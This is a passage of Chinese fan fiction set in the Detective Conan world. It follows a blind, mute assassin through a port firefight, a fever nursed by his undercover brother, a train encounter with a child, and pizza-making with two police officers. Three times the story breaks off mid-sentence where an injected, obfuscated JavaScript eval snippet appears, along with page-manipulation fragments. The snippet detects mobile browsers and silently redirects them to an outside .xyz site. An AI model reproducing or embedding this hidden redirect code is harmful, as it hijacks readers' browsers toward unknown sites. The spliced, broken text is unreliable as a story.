他从卫衣袖口抖出伸缩盲杖一甩,杖尖在月光下泛起冷光——由组织科研组倾情研发,将盲杖与海对面那个国家的一种叫“杖中剑”的武器结合起来,内部隐藏了30厘米长的锋利刀刃。 系统的弹道预测功能在他脑海中勾勒出红色的路径,他侧身翻滚,子弹撕裂他耳边的空气。 “他看不见!包围他!” 保镖们的脚步杂乱起来,但这并不影响——人们总会低估盲人的空间记忆能力。 他顺着他判断的位置开出一枪,对方的惨叫声证实了命中。 如果他的运气好的话,那颗子弹应该打穿对方的腕骨。夏特勒兹根据声音突进,盲杖如闪电刺出,巧劲的使用让刀刃突破战术靴的防线刺伤脚踝。 他旋身避开其他方位袭来的子弹,同时借着这个机会一个肘击攻向对方的喉结! ……瞬杀。 喉软骨被击碎,那家伙活不了了。 除了贝尔摩德对此见怪不怪,不只是被夏特勒兹训练过近战的苏格兰,掩体后的波本以及通过狙击镜观察现场的莱伊都陷入了震撼的沉默。 “草,见鬼!”他怎么做到的! 保镖的怒骂声暴露了位置,夏特勒兹手腕一抖,一枚不知何时出现在他手中的飞镖划破空气飞出,在对方喉间带出一簇血色——那并不是正常的血色,飞镖上涂了科研组那群疯子的杰作,一种真·见血封喉的剧毒。 港口为了搬运货物,道路修得宽敞又空旷,根本没有多少合适的掩体给夏特勒兹休整。 对此,夏特勒兹在瞬杀两个后一个翻滚躲避子弹,身形一顿迅速拉近双方距离。 有种说法叫“距离越远枪快,距离越近枪又快又准”,但那是对进攻方而言。对于被近身的敌人来说,慌乱间枪械的准头很难再说。 而近战是夏特勒兹的优势,这个优势成就了他近战的绝对领域,这让他非常善于捉住敌人慌乱露出破绽的瞬间。 在保镖们终于感到恐惧想要撤退时,夏特勒兹已经完成了六杀。 “撤退!赶紧——” 命令戛然而止。 夏特勒兹的盲杖刺中说话者的腰腹,反手夺过对方的手枪,金属的触感和肌肉记忆让他瞬间摸到保险的位置。 他对着记忆中另一个人的位置连开三枪,噗通倒地的声音彰显者对方已经失去逃跑的能力。 他将手上的人反剪卸下四肢和下巴,确认人没办法反抗或紫砂后再前去确认倒下的家伙死没死,没死就来个同样的“卸货”套餐。 八个人,六死两伤。 “搞定了?” 刚完成令人震撼的壮举的蒙眼青年扭头,那根杀过人的盲杖又变回普通助行器的模样,除了杖尖仍在滴血。 青年掏出手机开始打字。 “[人就这么放走?]”他指的是早就跑远的科伦塔。 电子音毫无起伏的语调在这个场面略显诡异,但贝尔摩德并不在意这个。 “组织现在还不适合和对方撕破脸。”在意大利众多黑/帮家族势力中,组织根基还是略浅,动作太大容易暴露己身。 “更何况钱货都在我们这儿。” 在夏特勒兹和保镖开战时,贝尔摩德在频道内让两位狙击手用子弹拦截下二少爷怀中的钱箱子。 这下组织是真的双赢了,赢两次。 “货的话能带还是带回去。”贝尔摩德揪出角落里瑟瑟发抖的被留下来善后的员工,让他们不想死的话就去把装炸弹的箱子卸下来。 “也得亏你这么远也能听见里面的声音。” “[也只是隐隐约约,我没想到一诈就诈出来了。]” 死亡威胁下效率得到加强,三箱炸弹很快被卸下来。他们打开一看,果然和密密麻麻的倒计时滴滴声刺激得战术后仰。 索性倒计时并不是夏特勒兹随便诳的半小时,而是两个小时后——估计是想他们在海上行驶一段时间后来个船毁人亡。 “[我联系了基地的底层人员过来帮忙,接下来的事情你能搞定吧?]” 晚上的风蛮凉的,尤其是夏特勒兹才刚刚结束加班运动。冷热交加下他结结实实地打了个喷嚏。 “[……我不干了。]” 带病加班的蒙眼青年任性地撂下担子。 * 勉强逃到足够远的距离,科伦塔总算等到家族的支援。 他咬着牙死死攥着手腕止血的绷带——撤离时对方的狙击手打伤了他的手腕,迫使他放弃怀里的钱箱,这下今晚的交易他是真的一点也没捞到。 但他内心的恼怒并没有他想象的那么多,反而大部分思绪都被牵引到一个身影上。 蒙眼,电子音。他就是……父亲所说的那位影子杀手吗。 在真正撤离前他亲眼目睹了那位蒙眼青年的双杀诞生。 喉软骨断裂的声音仿佛在他耳边变得放大清晰,清脆得像刚折断的芹菜。 尸体仍未倒地,青年已经借着保镖说话的声音将暗器飞出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120420|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>……见血封喉。 杀人很常见,就算是科伦塔也处理过不少人,但他永远也忘不了蒙眼青年下半张脸上近乎神性的平静。 ……平静。仿佛刚才不是杀了两个人,而是随手拂去了肩上的落叶。 那个不知名的组织,许多年前就进驻了意大利的里世界。它的实力还算不错,但根基太浅。 这里的蛋糕就这么大,它很难在这个竞争残酷的地方分一杯羹,一直以来都是一个小透明的状态。 ……直到七年前。 打着交易合作的态度,那个组织接手了不少势力需要动手灭口的业务,以换取一些不痛不痒的利益。 起初他们并没有太在意,有人帮忙自然乐得清闲。 于是不久后完美完成任务的报告就转交到他们的手上。 ——那是那人的“出道”预热。 随着任务数量的积累,数据和情报也开始显现出端倪。 任务都是交手或者灭口,但完成率100%,现场没有留下任何痕迹,就连监控也没有拍到什么有价值的东西。 唯有从一些从现场存活下来的家伙(因为他们不在需要灭口的名单上,当然也不排除是夏特勒兹故意留的活口)口述中,他们得知了一个人的存在。 “我不知道他是谁,他就像影子一样,根本没有声音!我都不知道他是什么时候突然出现在敌人背后抹掉脖子的!” Shadow Killer(影子杀手)。于是他们开始这么称呼那个来无影去无踪的家伙。 影子的年纪看上去很小,眼前蒙了块黑布,用电子音交流——有一次父亲出门与老朋友叙旧,回来后这么告诉他。 “科伦塔,影子是个盲哑人。” 父亲从来不说笑,因此科伦塔对这条情报感到匪夷所思。 影子杀手的名声以一个始料不及的速度传开,但杀手本身在短短不到一年的时间措不及防地销声匿迹。 或许是对方离开意大利了——这是最广泛的一个说法。 那他为什么离开? ——因为他的目的已经达到了。 影子杀手的名号一时间摄取了众多视线,让人极易忽略他背靠的组织。在影子杀手活跃的日子里,那个组织已经不知不觉中获取了足够站稳脚跟的资本,站上了竞争的舞台。 影子杀手三年前曾回归意大利活跃了两个月,是因为那个组织刚损失了一笔交易需要补救;如今那个组织合作的里奇家被他们科斯塔吞并,直到交易前他还以为这次他没来,结果人家在最后一刻戳穿了他们的诡计。 “这次……麻烦大了。” 科伦塔拨通电话,向家主父亲汇报了这次交易的结果。 “……不止,科伦塔。”父亲的声音阴沉,彰显着对方不爽的心情。 “实验室的药剂不见了。” “……什么。” “关于药剂的所有资料也失窃了。” 他们送来的药剂,被他们回收了。 科斯塔家这回吃了大亏,但殊不知吃亏事小,后面的一大堆麻烦事才更闹心。 42.生病中 帮贝尔摩德回收药剂已经是仁至义尽,顶着海边港口大晚上冷飕飕的陆风宰人,可想而知本就发烧的夏特勒兹会怎么样。 强行给自己续命一波的诸伏清浅血槽彻底清空,回到安全屋后直接被强制关机,倒在玄关地板上再起不能。 回到来就看见门口“躺尸”的威士忌们:“……” 难怪夏特勒兹的个人情报这么两极分化,这样子的病秧子有谁会联想到刚才大杀四方的家伙是他啊。 几小时前的震撼都被强行驱散,苏格兰更是微不可查地哽了一下。 “我去拿冰袋?”波本转身将门带上。 “不用,夏特勒兹很警惕。”诸伏景光蹲下身,“我来处理就好。” 反正他习惯了。 刚碰到人时很明显能感到对方身体的紧绷和肌肉的僵硬,夏特勒兹本能地控制住对方触碰的手腕,但因为发烧,他的力气对诸伏景光来说极易挣脱。 看来真的烧得不轻。 “夏特勒兹,是我。” 夏特勒兹的听力很敏锐,他相信对方通过声音就能认出自己的身份。 果不其然,对方抓握的力道紧了一下,但很快缓缓松开,堪堪维持住搭着的力道。 夏特勒兹的体重意外的轻,扶着对方几乎没费诸伏景光多少力。 ……作为组织的高层代号人员,夏特勒兹的身体状况是不是过于糟糕了? 组织没有给他相关的检查与治疗吗? 青年的呼吸喷在诸伏景光颈侧,滚烫而急促。他站起来的瞬间一个重心不稳,整个人软倒下去,诸伏景光下意识接住。 “我扶你回房间?” 发烧的青年的指尖动了动,他在倒下的时候下意识做出防御动作,但剩余的力气不足以支撑。于是他改变方向,转而攥住对方的袖口想要借力。 诸伏景光察觉到对方的脑袋微弱地晃动一下,于是调整姿势,慢慢地将人扶上楼。 床单还保持着主人离开时的褶皱,窗户大开着,晚间缕缕凉风吹进来,让发烧的人不禁打了个寒颤——很显然这家伙是走窗户出去的。 诸伏景光将人安置在床上,常年发烧的经验让夏特勒兹早就记住了这个流程,期间无比配合,很快就自觉把自己团进被子里。 诸伏景光走过去关上那扇额外增加了“门”的功能的窗户,从先前留在卧室的医药箱中翻出温度计。 体温计上的数字让苏格兰皱了皱眉——39.8℃,是必须要进医院的温度。 可这个时间点太过敏感,也不太好去医院打退烧针……他转身去拿退烧药,却突然被扯住衣角。 布料被扯动的感觉着实下了他一跳。夏特勒兹的手腕瘦的能看见淡青色的血管,此刻却爆发出不符合病体的执拗力道。 他的嘴唇开合几次,最终却只呼出几缕灼热的气流。 诸伏景光俯身时,滚烫的吐息让他明显感觉到温度的不妙。 “……哥……” 气音的呼唤很快就像冬天呼出去的白雾消散,诸伏景光正在拧湿毛巾的手突然悬停,水珠滴在地毯上晕出点点圆斑。 这是他第二次听到这个称呼了——可他能接触的组织资料显示夏特勒兹没有父母。 人的潜意识会暴露很多东西,这下诸伏景光终于能确认:夏特勒兹确实有一位兄长。 而且可能和他有某些相似的地方,比如身高,年龄,性格——不然很难解释为什么对方两次都将他错认成兄长。 楼下突然传来几声闷响,夏特勒兹眉头不自觉紧皱,睫毛颤动起来,呼吸节奏也变得絮乱——【听力max】的听力过于敏锐,在生活中的弊端让他在声音的折磨下根本难以获得深度休息。 声音吵到他了。诸伏景光反应过来,下意识地伸手捂住对方耳朵。 这个动作让他愣住了——太逾矩了,对于他们上下属的关系而言。 夏特勒兹身为上司确实很随和,但他们之间的界限从来没有模糊过。然而显然烧迷糊的家伙不会考虑这些,夏特勒兹终于松开了攥着衣角的手。 诸伏景光双手的温度对于他的体温来说很凉快,肌肉记忆驱使着他向凉源靠拢,于是诸伏景光眼睁睁看着那颗黑色的脑袋慢慢歪向自已这一侧。 诸伏景光:[僵硬.jpg] 退烧药融进水杯的声音惊动了夏特勒兹。他微微侧头,准确地“看”向诸伏景光的方向。 他的嘴唇又动了动,这次却连气音都没能发出——他仅能发出的气音在高温下彻底罢工。 药味的苦涩在温水的干预下激发出来,夏特勒兹缓缓坐起身,非常默契地接过诸伏景光递过来的水杯慢慢饮尽——他总是这样,总是不在意自己的身体,常常容易生病,却又很积极地吃药治疗。 太过理所当然的态度让人过于心累。 喝完药,将水杯交还给诸伏景光,夏特勒兹非常幼稚地一掀被子倒回床上,将自己埋进去被窝,没一会儿又因为被窝里温度太高将头探出来换气。 看到这一幕诸伏景光差点笑出声。 昏暗的房间里只有床头的小夜灯提供微弱的光亮,或许是病人周围脆弱的氛围太过容易让人卸下心房,他自己都没察觉蓝色的猫眼里蕴着淡淡却柔和的笑意。 尼桑啊……话说如果清浅还活着的话,应该也和夏特勒兹一样—— 他的呼吸停住了。 * “退烧了?”波本在楼梯口堵到人,手里晃着威士忌酒杯。 ——他脸侧的擦伤让人注目。 晨光已经透过窗户洒进室内的地板,一夜没睡的诸伏景光捏了捏鼻梁提神。 “老毛病,退了一点,很快就能醒……接下来他能自己处理。”退烧药是组织特制研发的,见效很快。 他大概知道先前听到的闷响是什么了,他努力忽视幼驯染的伤口但失败,于是破罐子破摔地问:“莱伊呢?” 安室透“哼”了一声:“房间。” 这个表情……你们是两败俱伤吧。 诸伏景光深吸一口气。zero啊……“总是很难和莱伊很好相处呢。” hiro!金发青年紫灰色的下垂眼中冒出对幼驯染的控诉。 算了……比起幼驯染和同事的相处问题,安全屋内唯一的病号更让人在意。 诸伏景光走进厨房,开始思考有什么食材适合做病号餐。 * 诸伏清浅醒来的时候天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135362|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光已经大亮,系统面板的数字时钟提醒着他睡了多久。 【身体状态:重感冒,发热,实时体温:38.3℃,请及时就医。】 清浅面不改色地将系统面板点叉。他就没看见“请及时就医”这几字从面板上下去过。 四肢乏力,脑袋昏沉,大概是受了风寒,他的状态更糟糕了。 ……昨晚的记忆浑浑噩噩,不过意外的,昨晚睡得格外的好。 他伸了个懒腰,从床头柜的抽屉里翻出笔记本电脑——从系统面板上就看见贝尔摩德发来好几条消息,他倒要看看这个女人又要干嘛。 哦,要情报。 【你他娘的你自己就是情报人员,你找我要情报作甚......自己查。 ——from Chartreuse】 【趁科斯塔家还没反应过来,我不信你没有兴趣给他们添点乱子。 ——from Vermouth】 啧,他可耻的心动了。 【没兴趣,除非你帮我和boss请一个月假。 ——from Chartreuse】 【哎呀呀,那我可是赚了。 ——from Vermouth】 【……给我和病号说话放尊重点。 ——from Chartreuse】 超级不爽的诸伏清浅恶狠狠地将相关情报打包发送,但即将来临的假期让他的心情很快转晴。 接下来!他可以!放假了! 搞定了这件事,他总算发现了房间内的异常。 ……呼吸声是不是多了一道? 他扭头面向门口,系统面板上显示的诸伏景光的定位彰显着不妙。 诸伏清浅:…… 诸伏清浅(笑容消失):……我嘞个豆。 诸伏清浅缓缓合上笔记本电脑,将其放回原处,在床上乖巧坐好。 他仿佛能看到他哥脸上冒着黑气的笑容。 诸伏景光都要被他这幅模样气笑了,“煮了粥,多少吃一点先。” 诸伏清浅……诸伏清浅不敢拒绝,非常乖巧地双手接碗。 然后差点把嘴里泛着甜味儿的粥吐出去。 白,白粥配白糖?! [瞳孔地震.jpg] 诸伏景光仿佛没有看见床上病人僵住的身形,用无辜的语气道:“白粥加白糖能补充能量,增加热量,提高机体对钙的吸收,促进伤口愈合——味道还可以吧?” 诸伏清浅? 诸伏清浅不敢说一个“不”字,颤颤巍巍地竖了个大拇指。 太好了是甜粥异端,我没救了。 “对了,夏特勒兹。” 被甜口粥折磨得焉掉的诸伏清浅虚弱地叼着片面包歪头:“?” “你有兄长吗?” 诸伏景光敏锐地察觉到对方的动作一顿。 “[进组织前的记忆我都不记得了,但贝尔摩德帮我查过。]” 似乎是还在发着高烧,青年打字的动作有点缓慢,但没有出错。 “[我没有父母,也没有兄弟姐妹。]” 于是诸伏景光听见夏特勒兹的电子音这样回答。 43.贝斯 诸伏清浅原本混沌的脑子被这么一吓直接清醒,思索过后决定装作还在迷糊,不再对这个话题发表任何看法。 死脑快想想怎么转移话题…! “[那个,苏格兰。]”他脑子里的浆糊好像被搅得更匀了,“[下次白粥能换成咸口吗?]” 电子音发出的瞬间他就后悔了,恨不得此时此刻将手里无辜的手机扔出窗户。 他哥可能在怀疑他的身份啊!把诸伏清浅这么明显的饮食习惯说出去不会增加嫌疑吗(虽然咸党很常见,但干他们这一行的几乎都有疑心病好吧)! 苏格兰的语气波澜不惊:“……啊,抱歉,我忘记提醒波本了。” 但我听你的语气,好像这粥不是波本煮的吧。 诸伏清浅汗流浃背,切实认识到他在发烧这一事实。他的思维被扯得延迟好多,终于察觉到接下来可能会越说越错,于是他将自己缩回被窝里,决定用睡眠逃避这个糟糕的早晨。 反正他是病人。[理直气壮.jpg] * 威士忌组在意大利的任务已经完成,没有继续逗留的必要,商量后直接定了次日的航班直接飞回日本。 夏特勒兹又吃了两片组织牌特效退烧药,在登机前烧已经退得差不多。苏格兰甚至为此将药盒翻来覆去看了个遍,但纯白的药盒可给不了什么信息。 “这药真的没什么副作用吗?” “[没事,能吃。]”夏特勒兹挥挥手,看上去一点也不担心。 其实诸伏清浅根本不敢告诉他哥,这可是当年训练营里的常备药物,发烧来一颗就能直接强行续命,第二天就能降温继续嘎嘎乱杀。 副作用肯定有,小作坊(组织:?)下料很猛的。 只是吃不死人罢了[目移.jpg]。 飞机上得开飞行模式,连不上网,就算是系统面板也不能免俗。在与人机对战又屡战屡败后,他忍不住伸手摸出背包里的电子草稿板。 但听到周围人稍微平缓的呼吸声,清浅意识到威士忌们都选择在飞机上浅眠养精神。 ……算了,他也睡吧。 众所周知,生病后的身体由不得你做主。 在被苏格兰喊醒、差点应激一拳打上去后诸伏清浅才发现他们准备着陆了。 诸伏清浅:……啊? 他不是只是打算小睡一会儿的吗? 茫然的青年跟着同伴一同走出机场,从组织成员那儿拿回不方便托运的行李。 清浅顺便将吉他背在身上——是的,意大利安全屋内伪装的吉他被他从波本那儿抢走了,如今四人行有三人背着吉他/贝斯包(其中两包装了一些不得了的东西版本),主唱波本被愉快排除在外。 组织成员只开了一辆车来,先不说一辆轿车怎么塞得下他们(包括组织成员本身)五个人,他们几人的目的地也不顺路。 波本依旧贯彻神秘主义,目的地肯定不会与他们分享;莱伊要去见他女朋友;苏格兰倒是打算回安全屋,但刚刚刚开机的手机弹出消息,好像琴酒又来要人。 夏特勒兹?他请假了。 在外奔波那么久,他有点想回红方大本营旁好好休息一阵,米花町二丁目的那套房子可不能在这个时候被发现。 于是—— 新干线,就决定是你了! * 诸伏清浅察觉到有人在后面跟着他们,而且已经跟了好长一段时间了。 对方的侦查技术烂到没边,目光很直白,对视线极度敏感的本能让他猛地回头,但新干线上人太多,他一时间不能确定视线的来源。 他打开系统地图,原本只是随意扫一眼,却没想到还真有收获。 诶?世良真纯? 绿色定位在一车厢路人的白色定位中格外显眼。 新干线,威士忌,世良真纯。 结合一下因素,诸伏清浅反应过来。 【世良真纯与苏格兰、莱伊的初遇,为苏格兰的卧底身份暴露做出铺垫】。 竟然是这个剧情点吗?可苏格兰才刚进组织不到两年……? 他猛戳系统面板灰掉的客服按钮,却没有得到世界意识的回应。 回答……!不然我现在就把人家小孩鲨掉! 诸伏清浅在内心吓唬到。 一丝“如果灰原在这一定会吓得发抖”的黑色气息从他身上流露而出,被他身旁的苏格兰敏锐察觉到。 “怎么了?”他低声问。 只见蒙眼青年嘴角抿紧,看上去有些烦躁。他摸出手机单手打字,没有使用电子音。 [有人在跟着我们,周围声音太吵,我定位不到是谁。] [……但没有恶意,或许是我感觉错了。] 脑海内世界意识的回复迟迟才到,表示这是正常的剧情发展。虽然因为清浅的存在有所变动,但时机恰当祂就把剧情稍微提前了一下。 放心,你最担忧的那个剧情节点没有变动。(ノ ̄▽ ̄) 他担心的是这个吗……好吧他担心的就是这个。 新干线上的人确实很多。 苏格兰视线随意一扫,无关人员太多,捕捉不到多少有用的信息。 但夏特勒兹的敏锐有目共睹,他不认为对方会在这方面出错。 不过……果然敏锐的听力会让夏特勒兹在生活中饱受困扰啊。 从他的视角可以看见青年墨镜后一直闭着的双目,长长的睫羽如山上的青松静谧不动。苏格兰的目光很快挪开,落在青年挂在脖子上的潮流头戴式降噪耳机。 他一直都在忍耐吗? 这是必须要忍耐的吧,毕竟目不能视口不能言,听力就是夏特勒兹在这个残酷环境中存活下来的最大倚仗。 诸伏景光不知道为什么思维会突然发散到这个地步,他再次转移视线,将心底一丝莫名的情绪压下。 [问题应该不大,不用声张,不用在意。] 诶,是在让他不要告诉莱伊和波本吗? 苏格兰挑眉。不过也好,他们的身份还是不要太过引人注目为妙。 又是一个换乘站。 因为时间刚好来到正午,于是石头剪刀布输掉的波本被派遣去便利店买饭团,诸伏清浅思考半晌还是决定跟着波本一起去。 剧情还是按原著上演吧……万一赤井秀一对他不信任,直接把世良真纯带走,导致剧情节点崩掉呢? * 没想到最先把人逮出来的是莱伊。 诸伏景光本来还在和对方闲聊,聊着聊着对方突然往回走,然后—— 然后从后面的稀疏人群中抓住一个小男孩来。 小孩见到莱伊看上去还蛮高兴,脆生生一句“秀哥”就这么喊了出来。 秀哥……?在喊莱伊吗? 天蓝色针织外套的兜帽下,苏格兰探究的目光被过滤掉,只余好奇的观望。 莱伊,或者说诸星大自然否认了“秀哥”这一称呼,还把小孩狠狠训斥了一通。 “对,对不起……我认错人了。” 认错?不太像吧。 苏格兰看着小孩和莱伊同出一辙的碧绿瞳色与标志性的下眼线不语。 莱伊想把认错人的小孩赶回家,但被小孩“我身上坐车的零钱不够了”一句话噎住,最后也只能叫人在原地待着,自己认命地去帮她买票。 是家属吧,兄弟之类的。默默观察的苏格兰想着,那么莱伊的身份就很耐人寻味了。 他会是卧底吗?现在仔细想来,莱伊加入组织的契机是被组织成员的车撞,救下来后和对方产生感情吧?超级适合卧底加入犯罪组织的切入点啊。 反正附近也没人…… “小朋友。”他将背上的贝斯包取下,从里面拿出贝斯。 眼里含着泪花的小孩懵懵懂懂地转头回望。 “你喜欢贝斯吗?” * 诸伏清浅并没有跟着波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150040|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本去便利店,而是被自助贩卖机“绊住了脚”,顺理成章地和波本分开行动。 他一直开着地图,看见赤井秀一的定位和世良真纯的凑在一起,不一会儿赤井秀一的定位离开,转而奔向售票处。 啊,莱伊走了。 自动贩卖机的冷气扑在脸上,诸伏清浅将四罐可乐抱在怀里,冰凉的触感贴在刚退热的皮肤上,舒服的感觉让他不禁从中抽出一罐贴在脸颊处。 远处传来的吉他扫弦声让他下意识扭头望去——不是吉他,是贝斯。 低沉的音符弹出一套完整的音阶,清浅调整了一下吉他包的肩带,没有用导盲杖,而是根据车站穿堂风的气流变化慢慢走回立柱的位置。 “[绿川,你在拐卖小孩吗。]” 突然出现的电子音显然吓了小孩子一跳,诸伏景光淡定回头,看见青年怀里抱着四罐可乐。 “这孩子认错人了,把诸星君当成哥哥跟到了车站。”布料摩擦的声音响起,他换了一个姿势继续蹲着。“诸星君帮这孩子去买返程票了。” 这样。 只见青年歪了歪头,将怀里的可乐递了一罐给他。 诸伏景光接过:“……我记得你才刚退烧。”所以最好不要在大冷天喝冰的。 青年的身形明显一僵,然后不情不愿地蹲下身。 小孩子的呼吸频率和大人是不同的,他将属于自己的那一罐可乐递出去,成功感受到小孩子下意识屏住呼吸的动作。 “[那你帮我消灭掉吧。]” “谢,谢谢。”小声但清朗的声线响起,声带震动的频率让诸伏清浅下意识感叹。 哇……果然不仔细听还真听不出世良的性别。 “[喜欢音乐?]”他慢慢在手机上打字,速度比平时慢了许多。 “嗯……嗯。”小孩的视线落在清浅背后的吉他包上:“你也会弹吗?” 贝斯弦被拨动的声音将小孩的注意力扯回,接着是绿川的低声引导:“左手按这里,对。” 贝斯的品质很好,诸伏清浅偷偷打开系统的外置视野,果然看到绿川在小孩背后教导的画面——胡茬青年虚环着女孩,指导着对方摁住琴弦,眼底荡出不属于组织苏格兰的温柔底色。 咔嚓。 他下意识用系统拍了照。 背包拉开拉链的声音响起,片刻后一阵舒朗的吉他声开始配合着磕磕绊绊的贝斯声演奏,在贝斯做主旋律的情况下加入了随性的伴奏。 诸伏景光不由得微微侧目,惊讶挑眉。只见带着墨镜的青年随意地盘腿坐在地上,敏锐的听力和反应力让他能够完美配合上小孩弹的节奏,常年握枪和短刀的手灵活地在琴弦上翻飞,按弦的姿势专业得令人意外。 原来他在安全屋说的会弹吉他是真的。 时刻耳听八方的诸伏清浅捕捉到莱伊的脚步声——战术靴落在地砖上的频率他已经很熟悉。 “该回去了。”莱伊将票递给小孩,声音刻意压低。 诸伏清浅见状收起吉他站起身,状似无意地拍了拍小孩的头。 “[赶紧回家,不要让你的家长担心。]” 小孩撇了撇嘴,和莱伊同出一辙的碧绿眼睛眨了眨,小心接过车票后小声地和两个教她弹贝斯的大哥哥告别。 “谢谢你们的可乐和音乐!” 诸伏清浅无所谓地挥挥手,让她赶紧回去。 “那小弟弟就是夏特勒兹你在车上察觉的那个跟踪者吧?” 竟然是在车上就发现真纯了吗。莱伊侧目。 “[人家是妹妹,苏格兰。]”等小孩一走,诸伏清浅打字的速度立刻恢复平常。“[既然是小孩子,那就不用在意了。]” “这样啊。”苏格兰心照不宣地转移话题。“吉他弹得不错。” “[毕竟副业靠这个吃饭。]” 没有给他们问副业的机会,夏特勒兹转而问道。 “[对了,波本呢?]” 44.披萨心肠 以防万一还是放个脑子寄存处 —————————— 最后还是各回各家了。 当诸伏清浅打开家门时,总感觉自己已经几年没回来过一样。 米花町五丁目的房子是各种意义上的干净,他能确保没有任何和组织相关的人知道这个地点。 即使如此,他还是打开系统定位确认周围没有可疑人员,然后将整个屋子里里外外检查了个遍,确认没有任何不干净的东西后才将自己扔进柔软的沙发。 啊——舒服。 总算获得假期的社畜打工人喟叹一声,决定如果没有什么大事就在沙发上一直窝到天荒地老……但真的可能吗? 要知道如今将近年关,可是所有人赶KPI的时期啊。[恶魔低语.jpg] * 这似乎是入冬后的第一场雨。 临近下班,即使是在室内也仍然戴着墨镜的卷发青年合上手机,开始看着墙上的时钟发呆。 秒针一走一顿的咔哒声和窗外的雨声混合在一起,让人的神经不自觉的放松。 “小阵平——”萩原研二将办公桌收拾好后披上外套,走到幼驯染的工位旁。 咔哒,咔哒。 “走。” 秒针越过数字12,卷发青年瞬间站起,抄起披在椅背的西装外套就走,半长发的青年瞬间跟上,嘴里还不忘朝还在工位的其他同事喊道。 “值班就拜托你们啦~” “啊嘞?松田前辈和萩原前辈今天走得好早,是有什么急事吗?”一位刚入队的后辈小年轻不解。 “好像是今晚和朋友有约?昨天萩原前辈好像提到过。” * “在外面玩了这么久,终于舍得回来了?”当两人推开别墅大门,见到蒙眼青年已经准备好茶水等待他们时,松田阵平还是忍不住调侃一句。 青年身穿毛茸茸的卫衣,但敏锐的警官先生还是能看出厚厚的布料下对方瘦削的身形。 ——他好像又瘦了。 “小浅井真的有好好吃饭吗?为什么我总有种你比我们还要忙的错觉。” 现役警官的直觉真可怕。 诸伏清浅面不改色地敲出电子音回答:“[我当然有好好吃饭——这句话应该是我说才对吧?]” 浅井尘肯定会保持积极的生活作息,但夏特勒兹这个社畜不一定。 “[难得聚一趟——茶还是果汁?当然咖啡也是提供的。]” 叮咚—— 这个时候,门铃声的响起引起三人的注意。 小浅井还有其他朋友来拜访吗?两位现役警官对视一眼。 浅井尘倒是好像对这个门铃早有预料。“[啊,到了吗?]” “[稍等,我去签收个快递。]” “别,外面下着雨呢,我去吧。” 拦住准备换鞋出门的青年,萩原研二重新撑开伞踏进冬季的雨幕。 “芝士奶酪?”快递被拆开,探过头来看着包装上看不懂的意大利文,依旧通过经验推测出这是什么东西的松田阵平挑眉。“你买这个做什么?” “[嗯……我刚从意大利回来嘛,买些特产,算算时间刚好今天能寄回来。]” “芝士碎的话,小浅井是想做披萨?” 蒙眼青年点点头。“[因为觉得好吃,所以打算自己尝试做一下。]” “你一个人?要帮忙吗?”松田直言不讳。 “[这不是等你们来嘛。]” “你这是把我们当免费劳动力了吧。” “[有些话没有必要说明的松田先生。]” 如果是独自一人,诸伏清浅大可以直接开外置视野开挂自己做饭,但说实话在外人面前当一个真瞎子做饭真的,挑战性太大。 他原以为把两位警官先生捞过来做苦力情况会好点,两位也被挑起兴致摩拳擦掌,准备大展身手—— 但清浅忽略了对方的厨艺level。 咳咳…… 被面粉再次呛到的诸伏清浅忍不住退出厨房,就算不开视野他也能想象出厨房里的灾难。 “喂萩,你面粉加多了。” “别急别急,我再加点水进去就行……嘶!” “……你是不是又加多水了。” 诸伏清浅……诸伏清浅叹气,诸伏清浅陷入怀疑。 为了吃餐饭而暴露自己能够独立做饭这件事究竟值不值得…… 哐啷! 那应该是橄榄油瓶子被打翻的声音。 诸伏清浅:“……” 前世“粒粒皆辛苦”的DNA蠢蠢欲动,他叹了口气,撸起袖子再次进入战场。 “[我来看看吧。]” 清浅重新加入“战场”,在差点被地上的橄榄油偷袭滑倒后凭借优秀的核心力量站稳身子,摸索着用手指触碰两位警官折腾一番后的面团。 诸伏清浅:……这是什么非牛顿流体吗? 他摸索着找到面粉袋子,凭着感觉加入适量面粉,在一阵搅和后终于让面糊变成面团,根据触觉的反馈进行一点微调后将面团揉成理想的状态。 “[应该行了……松田先生帮忙揉面吧,将面粉全部揉好就成。]” “[萩原先生帮忙清洗一下其他食材?]” 两位自知厨艺不好的家伙自觉听从指挥,根据偶尔的电子音提示有序分工。 蔬菜的处理清浅倒是能干,砧板上指尖抵着刀侧,指尖规律性的挪动让刀下的番茄切片厚薄均匀——速度不快,带着清浅自己独有的处理节奏,胜在稳定。 肉类的处理还是拜托了萩原研二,毕竟肉类不像蔬果这么好切。 